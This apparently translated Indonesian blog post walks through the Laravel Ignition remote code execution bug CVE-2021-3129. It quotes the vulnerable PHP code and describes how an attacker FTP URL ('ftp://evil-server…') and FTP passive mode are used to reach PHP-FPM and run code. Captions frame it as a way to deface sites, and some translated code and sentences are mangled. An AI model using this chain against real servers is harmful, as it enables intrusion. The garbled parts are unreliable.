Bug Pada Laravel v8.4.2 Debug Mode: Remote code execution (CVE-2021-3129)

Pada akhir November 2020, selama audit keamanan untuk salah satu klien kami, kami menemukan situs web berbasis Laravel. Meskipun status keamanan situs cukup baik, kami menyatakan bahwa situs tersebut berjalan dalam mode debug (laravel debug rce), sehingga menampilkan pesan kesalahan verbose termasuk pelacakan tumpukan:

Deface Laravel Debug Mode

Setelah pemeriksaan lebih lanjut, kami menemukan bahwa celah ini di hasilkan oleh Ignition dalam laravel, yang merupakan generator halaman default platform Laravel mulai dari versi 6. Kemudian, kami mulai menyelidiki package ini lebih dalam lagi.

Ignition = 2.5.1

Selain menampilkan code debug tadi, Ignition hadir dengan solusi, potongan kecil dari kode untuk memecahkan masalah yang mungkin kamu temui saat mengembangkan aplikasi Anda. Misalnya, inilah yang terjadi jika kita menggunakan variabel yang tidak di kenal dalam template:

laravel debug rce

Dengan mengklik “Make variable Optional”, {{ $username }} di template kita maka secara otomatis akan terganti menjadi {{ $username ? ” }}. Jika kami memeriksa log HTTP, maka kita dapat melihat endpoint yang dipanggil:

bug pada laravel debug mode

Bersamaan dengan itu,kami mencoba mengirim filepath dan variabel dengan variabel yang ingin kami ganti. Ini terlihat menarik :

Pertama-tama mari kita periksa class name vector : bisakah kita membuat berbagai contoh code ?

class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
    ...

    public function getSolutionForClass(string $solutionClass): ?Solution
    {
        if (! class_exists($solutionClass)) {
            return null;
        }

        if (! in_array(Solution::class, class_implements($solutionClass))) {
            return null;
        }

        return app($solutionClass);
    }
}

Tidak: Ignition akan memastikan dan memeriksa class yang kita tunjuk untuk mengimplementasikan RunnableSolution.

Mari kita coba lebih dekat di bagian class nya, perhatikan code yang terletak pada ./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

Apakah kita bisa mengubah isi code secara arbitrary ?

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']); // [1]
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) { // [3]
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }

    ...
}

Ternyata kodenya sedikit lebih rumit dari yang kami harapkan : setelah membaca alur file yang diberikan [1], dan mengganti $variableName dengan $variableName ?? ” baik file awal maupun file baru akan di-ubah [2]. Jika struktur kode tidak berubah seperti apa yang kita harapkan,maka file akan terganti dengan konten yang baru.

Baca Juga :  Web Api

Jika tidak, makeOptional akan mengeluarkan keterangan false [3], dan file baru tidak akan bisa terganti atau tereksekusi. Oleh karena itu, kita tidak dapat berbuat banyak dengan variableName.

Satu-satunya variabel input yang tersisa adalah viewFile. Jika kita membuat kode eksekusi dari variableName dan semua berjalan dengan lancar, kita akan mendapatkan potongan kode berikut:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

Jadi kami mengubah code viewFile kembali ke viewFile, tanpa modifikasi apa pun. Di sini tidak terjadi apa-apa !

Talking to PHP-FPM using FTP

Karena kami bisa menjalankan file_get_contents untuk apa saja, kami dapat memindai port umum dengan mengeluarkan permintaan HTTP. PHP-FPM tampaknya terdapat pada port 9000.

Sudah di ketahui bahwa, jika Anda dapat mengirim paket arbitrary ke layanan PHP-FPM, Anda dapat mengeksekusi kode pada mesin. Teknik ini sering di gunakan dalam kombinasi dengan protokol gopher://, yang didukung oleh curl, tetapi tidak untuk PHP.

Protokol lain yang di ketahui untuk memungkinkan Anda mengirim paket arbitrary melalui TCP adalah FTP, dan lebih tepatnya mode pasifnya: jika klien mencoba membaca file dari (resp. write to) server FTP, server dapat memberi tahu klien untuk membaca isi file ( resp.write) ke IP dan port tertentu. Tidak ada batasan seperti apa IP dan port ini. Misalnya, server dapat memberi tahu klien untuk terhubung ke salah satu portnya sendiri jika di inginkan.

Sekarang, jika kita mencoba mengeksploit bug ini dengan viewFile=ftp://evil-server.lexfo.fr/file.txt, inilah yang akan terjadi:

1.file_get_contents() connects to our FTP server, and downloads file.txt.

2.file_put_contents() connects to our FTP server, and uploads it back to file.txt.

Anda dapat mengetahui ke mana arahnya: kami akan menggunakan mode pasif protokol FTP untuk membuat file_get_contents() unduh file di server kita, dan ketika mencoba mengunggahnya kembali menggunakan file_put_contents(), kita bisa mengetahuinya untuk dikirimkan ke 127.0.0.1:9000.

cara deface laravel terbaru

Ini memungkinkan kita untuk mengirim paket file semau kita ke PHP-FPM, dan Therefore execute code.

Baca Juga :  Website Tribunnews DiHack Oleh Orang Tidak Dikenal

Eksploit kali ini berhasil tepat sasaran (laravel debug rce).

Satu pemikiran pada “Bug Pada Laravel v8.4.2 Debug Mode: Remote code execution (CVE-2021-3129)”

Tinggalkan Balasan